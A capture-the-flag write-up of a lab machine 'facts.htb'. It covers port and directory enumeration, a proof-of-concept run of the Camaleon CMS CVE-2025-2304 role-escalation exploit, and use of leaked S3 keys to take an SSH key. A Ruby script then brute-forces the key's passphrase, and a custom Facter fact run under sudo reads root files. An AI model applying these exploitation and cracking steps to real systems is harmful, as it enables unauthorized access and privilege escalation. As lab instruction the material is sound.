Let’s add our target machine to /etc/hosts:

mairon $ echo 10.129.24.44 facts.htb | sudo tee -a /etc/hosts

Next, enumeration:

mairon $ rustscan -a facts.htb --ulimit 5000 -- -Pn -n -v --open -A -sCV
 | tee rustscan.txt
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
To scan or not to scan? That is the question.

[~] The config file is expected to be at "/home/mairon/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.24.44:22
Open 10.129.24.44:80
Open 10.129.24.44:54321
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -Pn -n -v --open -A -sCV" on ip 10.129.24.44
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-01 13:13 +0100
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:13
Completed NSE at 13:13, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:13
Completed NSE at 13:13, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:13
Completed NSE at 13:13, 0.00s elapsed
Initiating Connect Scan at 13:13
Scanning 10.129.24.44 [3 ports]
Discovered open port 80/tcp on 10.129.24.44
Discovered open port 22/tcp on 10.129.24.44
Discovered open port 54321/tcp on 10.129.24.44
Completed Connect Scan at 13:13, 0.01s elapsed (3 total ports)
Initiating Service scan at 13:13
Scanning 3 services on 10.129.24.44
Completed Service scan at 13:13, 28.46s elapsed (3 services on 1 host)
NSE: Script scanning 10.129.24.44.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:13
Completed NSE at 13:13, 0.51s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:13
Completed NSE at 13:13, 0.04s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:13
Completed NSE at 13:13, 0.00s elapsed
Nmap scan report for 10.129.24.44
Host is up, received user-set (0.0088s latency).
Scanned at 2026-02-01 13:13:20 CET for 29s

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh     syn-ack OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNYjzL0v+zbXt5Zvuhd63ZMVGK/8TRBsYpIitcmtFPexgvOxbFiv6VCm9ZzRBGKf0uoNaj69WYzveCNEWxdQUww=
|   256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPCNb2NXAGnDBofpLTCGLMyF/N6Xe5LIri/onyTBifIK
80/tcp    open  http    syn-ack nginx 1.26.3 (Ubuntu)
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
54321/tcp open  http    syn-ack Golang net/http server
| http-methods:
|_  Supported Methods: GET OPTIONS
|_http-title: Site doesn't have a title (application/xml).
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 303
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 18901E598030C266
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Sun, 01 Feb 2026 12:13:43 GMT
|     <?xml version="1.0" encoding="UTF-8"?>
|     <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/nice ports,/Trinity.txt.bak</Resource><RequestId>18901E598030C266</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
|   GenericLines, Help, RTSPRequest, SSLSessionReq:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 276
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 18901E55B628B6E7
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Sun, 01 Feb 2026 12:13:27 GMT
|     <?xml version="1.0" encoding="UTF-8"?>
|     <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>18901E55B628B6E7</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Vary: Origin
|     Date: Sun, 01 Feb 2026 12:13:27 GMT
|_    Content-Length: 0
|_http-server-header: MinIO
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port54321-TCP:V=7.98%I=7%D=2/1%Time=697F4366%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,2B0,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nAcc
SF:ept-Ranges:\x20bytes\r\nContent-Length:\x20276\r\nContent-Type:\x20appl
SF:ication/xml\r\nServer:\x20MinIO\r\nStrict-Transport-Security:\x20max-ag
SF:e=31536000;\x20includeSubDomains\r\nVary:\x20Origin\r\nX-Amz-Id-2:\x20d
SF:d9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8\r\nX-Am
SF:z-Request-Id:\x2018901E55B628B6E7\r\nX-Content-Type-Options:\x20nosniff
SF:\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Sun,\x2001\x20Feb
SF:\x202026\x2012:13:27\x20GMT\r\n\r\n<\?xml\x20version=\"1\.0\"\x20encodi
SF:ng=\"UTF-8\"\?>\n<Error><Code>InvalidRequest</Code><Message>Invalid\x20
SF:Request\x20\(invalid\x20argument\)</Message><Resource>/</Resource><Requ
SF:estId>18901E55B628B6E7</RequestId><HostId>dd9025bab4ad464b049177c95eb6e
SF:bf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>")%r(HTTPOptions,59
SF:,"HTTP/1\.0\x20200\x20OK\r\nVary:\x20Origin\r\nDate:\x20Sun,\x2001\x20F
SF:eb\x202026\x2012:13:27\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPR
SF:equest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/
SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re
SF:quest")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\
SF:x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20B
SF:ad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clos
SF:e\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,2CB,"HTTP/1\.0\x20
SF:400\x20Bad\x20Request\r\nAccept-Ranges:\x20bytes\r\nContent-Length:\x20
SF:303\r\nContent-Type:\x20application/xml\r\nServer:\x20MinIO\r\nStrict-T
SF:ransport-Security:\x20max-age=31536000;\x20includeSubDomains\r\nVary:\x
SF:20Origin\r\nX-Amz-Id-2:\x20dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9
SF:251148b658df7ac2e3e8\r\nX-Amz-Request-Id:\x2018901E598030C266\r\nX-Cont
SF:ent-Type-Options:\x20nosniff\r\nX-Xss-Protection:\x201;\x20mode=block\r
SF:\nDate:\x20Sun,\x2001\x20Feb\x202026\x2012:13:43\x20GMT\r\n\r\n<\?xml\x
SF:20version=\"1\.0\"\x20encoding=\"UTF-8\"\?>\n<Error><Code>InvalidReques
SF:t</Code><Message>Invalid\x20Request\x20\(invalid\x20argument\)</Message
SF:><Resource>/nice\x20ports,/Trinity\.txt\.bak</Resource><RequestId>18901
SF:E598030C266</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd
SF:1af9251148b658df7ac2e3e8</HostId></Error>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:13
Completed NSE at 13:13, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:13
Completed NSE at 13:13, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:13
Completed NSE at 13:13, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.27 seconds

So, SSH on 22/tcp, HTTP on 80/tcp, and a not so obvious HTTP on 54321/tcp. Let’s first check 80:

facts.htb

A gospider scan didn’t reveal anything interesting, but gobuster did:

mairon $ gobuster dir --url facts.htb --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://facts.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.bash_history        (Status: 200) [Size: 11137]
.cvs                 (Status: 200) [Size: 11110]
.git-rewrite         (Status: 200) [Size: 11134]
.env                 (Status: 200) [Size: 11110]
.git                 (Status: 200) [Size: 11110]
.cache               (Status: 200) [Size: 11116]
.cvsignore           (Status: 200) [Size: 11128]
.bashrc              (Status: 200) [Size: 11119]
.forward             (Status: 200) [Size: 11122]
.config              (Status: 200) [Size: 11119]
.gitconfig           (Status: 200) [Size: 11128]
.git_release         (Status: 200) [Size: 11134]
.gitattributes       (Status: 200) [Size: 11140]
.gitk                (Status: 200) [Size: 11113]
.gitignore           (Status: 200) [Size: 11128]
.gitkeep             (Status: 200) [Size: 11122]
.gitreview           (Status: 200) [Size: 11128]
.gitmodules          (Status: 200) [Size: 11131]
.history             (Status: 200) [Size: 11122]
.hta                 (Status: 200) [Size: 11110]
.htaccess            (Status: 200) [Size: 11125]
.htpasswd            (Status: 200) [Size: 11125]
.listing             (Status: 200) [Size: 11122]
.mysql_history       (Status: 200) [Size: 11140]
.listings            (Status: 200) [Size: 11125]
.passwd              (Status: 200) [Size: 11119]
.profile             (Status: 200) [Size: 11122]
.perf                (Status: 200) [Size: 11113]
.rhosts              (Status: 200) [Size: 11119]
.ssh                 (Status: 200) [Size: 11110]
.sh_history          (Status: 200) [Size: 11131]
.subversion          (Status: 200) [Size: 11131]
.svn                 (Status: 200) [Size: 11110]
.svnignore           (Status: 200) [Size: 11128]
.swf                 (Status: 200) [Size: 11110]
.web                 (Status: 200) [Size: 11110]
400                  (Status: 200) [Size: 6685]
404                  (Status: 200) [Size: 4836]
500                  (Status: 200) [Size: 7918]
CVS                  (Status: 200) [Size: 11110]
_framework/blazor.webassembly.js (Status: 422) [Size: 8380]
admin                (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
admin.cgi            (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
admin.php            (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
admin.pl             (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
ajax                 (Status: 200) [Size: 0]
cache                (Status: 200) [Size: 11116]
captcha              (Status: 200) [Size: 3629]
config               (Status: 200) [Size: 11119]
cvs                  (Status: 200) [Size: 11110]
en                   (Status: 200) [Size: 11109]
env                  (Status: 200) [Size: 11110]
error                (Status: 500) [Size: 7918]
forward              (Status: 200) [Size: 11122]
git                  (Status: 200) [Size: 11110]
history              (Status: 200) [Size: 11122]
hta                  (Status: 200) [Size: 11110]
htpasswd             (Status: 200) [Size: 11125]
index.htm            (Status: 200) [Size: 11125]
index.html           (Status: 200) [Size: 11128]
index                (Status: 200) [Size: 11113]
index.php            (Status: 200) [Size: 11125]
listing              (Status: 200) [Size: 11122]
listings             (Status: 200) [Size: 11125]
page                 (Status: 200) [Size: 19593]
passwd               (Status: 200) [Size: 11119]
perf                 (Status: 200) [Size: 11113]
post                 (Status: 200) [Size: 11308]
profile              (Status: 200) [Size: 11122]
robots.txt           (Status: 200) [Size: 99]
robots               (Status: 200) [Size: 33]
rss                  (Status: 200) [Size: 183]
search               (Status: 200) [Size: 19187]
sitemap.xml          (Status: 200) [Size: 3508]
sitemap.gz           (Status: 500) [Size: 7918]
sitemap              (Status: 200) [Size: 3508]
ssh                  (Status: 200) [Size: 11110]
svn                  (Status: 200) [Size: 11110]
swf                  (Status: 200) [Size: 11110]
up                   (Status: 200) [Size: 73]
web                  (Status: 200) [Size: 11110]
welcome              (Status: 200) [Size: 11966]
Progress: 4751 / 4751 (100.00%)
===============================================================
Finished
===============================================================

There’s an admin page with an open registration function. Once registered, the user is allowed to change their own profile picture, and while I did try to work my way around the file upload restriction, I did not succeed.

I did notice the CMS name and version: Camaleon 2.9.0. This particular version seems to be vulnerable to CVE-2025-2304 (authenticated PrivEsc to admin). At the time of writing, there’s a brand new PoC available (barely a day old).

mairon $ python3 cve-2025-2304.py -u duif -p duif http://facts.htb

============================================================
   CVE-2025-2304 - Camaleon CMS Privilege Escalation PoC
   Pre-Registered User Version
============================================================

[*] Target: http://facts.htb
[*] Username: duif
[*] Password: ****

[*] Logging in as duif...
[+] Successfully logged in

[*] Checking CMS version...
[*] Detected version: 2.9.0
[+] Version is VULNERABLE (< 2.9.1)

============================================================
[*] Testing CVE-2025-2304 Mass Assignment Vulnerability
============================================================

[*] Target User: duif (ID: 5)
[*] Current Role: Client (client)
[*] Password will remain unchanged

[1/7] Testing: AJAX endpoint - user[role]
    ✗ Failed
[2/7] Testing: AJAX endpoint - password[role]

============================================================
[+] EXPLOITATION SUCCESSFUL!
============================================================
[+] Privilege Escalation: Client → Administrator
[+] Vulnerable Endpoint: /admin/users/5/updated_ajax
[+] Working Payload: {'password[role]': 'admin'}
[+] Password Unchanged: User can still login normally
[+] CVE-2025-2304 CONFIRMED!

[✓] CVE-2025-2304 VULNERABILITY CONFIRMED

After logging back in again, we are now Admin in the CMS.

On the media page, we can now upload arbitrary files. However I still did not find a way to have my web shells execute as the files were being returned as downloads.

Moving on, there’s an interesting settings page revealing credentials for the 54321/tcp port we found:

facts.htb admin settings site
  • Aws s3 access key: AKIA38A449C03A6A1E7E

  • Aws s3 secret key: zU8Ot4Fu8No631YeHakcXkTcF+axGgXivLKLuZnZ

  • Aws s3 bucket name: randomfacts

  • Aws s3 region: us-east-1

  • Aws s3 bucket endpoint: http://localhost:54321

  • Cloudfront url: http://facts.htb/randomfacts

Let’s configure these details in awscli:

mairon $ aws configure
AWS Access Key ID [****************tmp]: AKIA38A449C03A6A1E7E
AWS Secret Access Key [****************tmp]: zU8Ot4Fu8No631YeHakcXkTcF+axGgXivLKLuZnZ
Default region name [tmp]: us-east-1
Default output format [tmp]:

Let’s see what buckets we can access this way:

mairon $ aws s3 ls --endpoint-url http://facts.htb:54321/
2025-09-11 14:06:52 internal
2025-09-11 14:06:52 randomfacts

The internal bucket shows some interesting stuff:

mairon $ aws s3 ls --endpoint-url http://facts.htb:54321/ s3://internal
                           PRE .bundle/
                           PRE .cache/
                           PRE .ssh/
2026-01-08 19:45:13        220 .bash_logout
2026-01-08 19:45:13       3900 .bashrc
2026-01-08 19:47:17         20 .lesshst
2026-01-08 19:47:17        807 .profile
mairon $ aws s3 ls --endpoint-url http://facts.htb:54321/ s3://internal/.ssh/
2026-02-01 12:40:55         82 authorized_keys
2026-02-01 12:40:55        464 id_ed25519

Let’s download that .ssh dir:

mairon $ aws s3 sync --endpoint-url http://facts.htb:54321/ s3://internal/.ssh/ ssh
download: s3://internal/.ssh/authorized_keys to ssh/authorized_keys
download: s3://internal/.ssh/id_ed25519 to ssh/id_ed25519

It seems to require a passphrase first:

mairon 8s $ ssh-keygen -yf ssh/id_ed25519
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'ssh/id_ed25519' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "ssh/id_ed25519": bad permissions
mairon $ chmod 400 ssh/id_ed25519
mairon $ ssh-keygen -yf ssh/id_ed25519
Enter passphrase for "ssh/id_ed25519":
Load key "ssh/id_ed25519": incorrect passphrase supplied to decrypt private key

NOTE:I wasted a lot of time trying to crack this key. It turns out my version of ssh2john.py bundled with the latest(!) extra/john package on Arch was outdated. I then downloaded a fresh copy, also to no avail, weirdly. Then I found the below script to (naively) brute force each entry in rockyou:

require 'open3'

if ARGV.size == 2
  password_found = false

  File.readlines(ARGV[1], chomp: true).each do |password|
    Open3.popen3("ssh-keygen -y -f #{ARGV[0]} -P '#{password}'") { |i,o,e,t|
      error = e.read.chomp
      if error.empty?
        puts "\nThe password is: #{password}"
        password_found = true
      elsif /incorrect passphrase supplied to decrypt private key/.match?(error)
        print '.'
      else
        puts "Error: #{t.value}"
        puts error
      end
    }
    break if password_found
  end
else
  puts "Usage  : ruby #{__FILE__} SSH_KEY WORDLIST"
  puts "Example: ruby #{__FILE__} ~/.ssh/id_ed25519_crack /usr/share/wordlists/passwords/richelieu-french-top20000.txt"
end

The above script worked, albeit very slow:

mairon $ ruby ssh-bf.rb ~/htb/facts/ssh/id_ed25519 ~/htb/wordlists/rockyou.txt
.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
The password is: dragonballz

Since we still don’t have a valid username, let’s try the above password using ssh-keygen manually:

mairon $ ssh-keygen -yf ssh/id_ed25519 -P dragonballz
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGGjdDDjydRs+x2Y7rICtMogQ9uFWFufg6OJTs9LpAAE trivia@facts.htb

There we go, we should now be able to access the system via SSH:

~/htb/facts gkroon@mairon $ ssh -o "UserKnownHostsFile=/dev/null" -i ssh/id_ed25519 trivia@facts.htb
The authenticity of host 'facts.htb (10.129.24.44)' can't be established.
ED25519 key fingerprint is: SHA256:fygAnw6lqDbeHg2Y7cs39viVqxkQ6XKE0gkBD95fEzA
+--[ED25519 256]--+
|+o.  E..         |
|.o+ o o .        |
| o.=.+.o         |
|  =.+=o..        |
| o.+o=+ S        |
| .. =o.. ...     |
|.o o ....oo .    |
|o + o+. +...     |
| ..=o.+=..       |
+----[SHA256]-----+
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'facts.htb' (ED25519) to the list of known hosts.
Enter passphrase for key 'ssh/id_ed25519':
Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.14.4 on ssh
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Feb  1 06:08:42 PM UTC 2026

  System load:           0.0
  Usage of /:            74.5% of 7.28GB
  Memory usage:          19%
  Swap usage:            0%
  Processes:             220
  Users logged in:       1
  IPv4 address for eth0: 10.129.24.44
  IPv6 address for eth0: dead:beef::250:56ff:fe94:3fe1


0 updates can be applied immediately.

trivia@facts:~$

I could not find the User Flag in this user’s home dir, but I did find it in william’s, to which we have access it seems:

trivia@facts:~$ find / -name user.txt 2>/dev/null
/home/william/user.txt
^C
trivia@facts:~$ ls /home/william/
.bash_history  .bash_logout   .bashrc        .profile       user.txt
trivia@facts:~$ cat /home/william/user.txt
4bae95c3ba152d80ebde4115a8f0f085

It seems this user hase sudo privileges on /usr/bin/facter:

trivia@facts:~$ sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

I’ve never worked with Puppet and therefore know little about it. I could not find any CVEs for this particular binary version (4.10.0), but I did notice this tool allows to include custom facts via --custom-dir. Here’s how I exploited that, first by creating a new directory myfacts, and a new file file_contents.rb there, with the following contents:

# frozen_string_literal: true

Facter.add(:file_content) do
  setcode do
    path = '/root/root.txt'
    begin
      File.read(path)
    rescue Errno::ENOENT
      nil # fact becomes 'undefined' if file doesn't exist
    rescue => e
      "error: #{e.class}: #{e.message}"
    end
  end
end

Then we can read the System Flag like so:

trivia@facts:~$ sudo facter --custom-dir myfacts | grep file_content
file_content => 41a318d7aaefa52e1f3c380f5be84aa1
pwned